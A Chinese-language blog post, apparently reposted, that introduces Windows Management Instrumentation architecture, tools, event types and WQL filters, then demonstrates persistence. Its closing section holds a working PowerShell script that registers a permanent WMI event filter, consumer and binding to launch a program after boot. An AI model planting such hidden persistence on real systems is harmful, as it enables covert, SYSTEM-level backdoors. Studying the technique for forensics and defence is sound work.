WMI簡介和Event駐留


  WMI (Windows Management Instrumentation,Windows管理規范) 從Windows 2000開始被包含於操作系統后,就一直是Windows操作系統的一部分。這項技術對於系統管理員來說具有巨大價值,因為它提供了提取所有類型信息、配置組件和基於系統數個組件的狀態采取行動等方式。由於這種靈活性,且被早早地被包含於操作系統中,攻擊者們便看到了它的潛力,並且已經開始濫用這項技術。

WMI 架構

  • WMI 使用 CIM 和 WBEM 標准以執行以下操作:

    • 提供一個對象架構來描述“托管組件”
    • 提供一種填充對象的方法 --- 比如:WMI提供程序
    • 存儲持久化對象 --- WMI/CIM存儲庫
    • 對象查詢 --- WQL(WMI Query Language)
    • 傳輸對象數據 --- 類(class)方法、事件等
  • 持久化 WMI 對象被保存在 WMI 存儲庫中:

    • %SystemRoot%\System32\wbem\Repository\OBJECTS.DATA
    • %SystemRoot%\System32\wbem\Repository\FS\OBJECTS.DATA
    • 對於數據取證很有價值
  • WMI設置:

    • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM
    • Win32_WmiSetting class

WMI 交互工具

  • Powershell --- 內置
  • wmic.exe --- 內置
  • Sapien WMI Explorer --- 商業工具
  • wbemtest.exe --- 內置
  • winrm.exe --- 內置
  • Windows 腳本宿主語言:
    • VBScript
    • JScript
  • IWbem* COM API
  • .NET System.Management classes

遠程 WMI

  • 遠程 WMI 協議 - DCOM
  • 遠程 WMI 協議 - WinRM/PowerShell Remoting

WMI 事件

  • WMI 可以觸發任何可接收的事件,對於攻擊者和防御者都很有價值
  • 三個條件:
    • Filter - 觸發事件需要的動作
    • Consumer - 事件被觸發時的動作
    • Binding - 注冊綁定一對 Filter <--> Consumer
  • 本地事件生命周期即為宿主進程的運行時間
  • 永久性的 WMI 事件是持久性駐留的,並且以SYSTEM權限運行

1. WMI 事件類型

  • 內部事件(Intrinsic)
    • 內部事件作為系統類存在於每個命名空間
    • 攻擊者/防御者可以靈活地使用這些事件
    • 需要在輪詢間隔時間內進行捕獲,使用需謹慎
    • 可能會錯過事件觸發(因為輪詢?)

__NamespaceOperationEvent __ClassCreationEvent

__NamespaceModificationEvent __InstanceOperationEvent

__NamespaceDeletionEvent __InstanceCreationEvent

__NamespaceCreationEvent __MethodInvocationEvent

__ClassOperationEvent __InstanceModificationEvent

__ClassDeletionEvent __InstanceDeletionEvent

__ClassModificationEvent __TimerEvent

__ConsumerFailureEvent __EventDroppedEvent

__EventQueueOverflowEvent __MethodInvocationEvent

  • 外部事件(Extrinsic)
    • 外部事件作為非系統類可被立即觸發
    • 不會錯過事件的觸發
    • 通常不包含太多信息

ROOT\CIMV2:Win32_ComputerShutdownEvent
ROOT\CIMV2:Win32_IP4RouteTableEvent
ROOT\CIMV2:Win32_ProcessStartTrace
ROOT\CIMV2:Win32_ModuleLoadTrace
ROOT\CIMV2:Win32_ThreadStartTrace
ROOT\CIMV2:Win32_VolumeChangeEvent
ROOT\CIMV2:Msft_WmiProvider*
ROOT\DEFAULT:RegistryKeyChangeEvent
ROOT\DEFAULT:RegistryValueChangeEvent
... ...

2. WMI 事件 - Filters

  • 被觸發事件的定義
  • WMI查詢語句的形式來指定
  • 注意性能消耗
  • 內部事件查詢(由於輪詢方式,需要使用 WITHIN 子句指定輪詢間隔)
    • SELECT * FROM __InstanceOperationEvent WITHIN 30 WHERE
      ((__CLASS = "__InstanceCreationEvent" OR __CLASS = "__InstanceModificationEvent") AND TargetInstance ISA "CIM_DataFile") AND (TargetInstance.Extension = "doc") OR (TargetInstance.Extension = "docx") --- 每隔30秒查詢一次后綴為"doc"和"docx"的文件操作
  • 外部事件查詢(等效於實時)
    • SELECT * FROM Win32_VolumeChangeEvent WHERE EventType = 2 --- 可移動設備(EventType=2)插拔

3. WMI 事件 - Consumers

WMI 攻擊

  WMI 腳本宿主進程:%SystemRoot%\system32\wbem\scrcons.exe

  這里只測試以下持久化駐留。

  最終效果是:系統啟動后200至300秒間,相應事件每隔60秒進行一次的輪詢觸發,則執行notepad.exe。

$filterName = "testFilter"
$consumerName = 'testComsumer'
$binpath = 'C:\windows\system32\notepad.exe'
$query = "select * from __InstanceModificationEvent within 60 where TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUptime < 300"

# 創建Filter
$wmiEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$query} -ErrorAction Stop

# 創建Consumer
$wmiEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -NameSpace "root\subscription" -Arguments @{Name=$consumerName;CommandLineTemplate=$binpath}

# 綁定Filter和COnsumer
Set-WmiInstance -Class __FilterToConsumerBinding -NameSpace "root\subscription" -Arguments @{Filter=$wmiEventFilter;Consumer=$wmiEventConsumer}

參考:

https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent Asynchronous-And-Fileless-Backdoor.pdf

https://www.darkoperator.com/blog/2017/10/14/basics-of-tracking-wmi-activity

https://pentestlab.blog/2020/01/21/persistence-wmi-event-subscription/

https://threathunterplaybook.com/notebooks/windows/03_persistence/WIN-190810170510.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM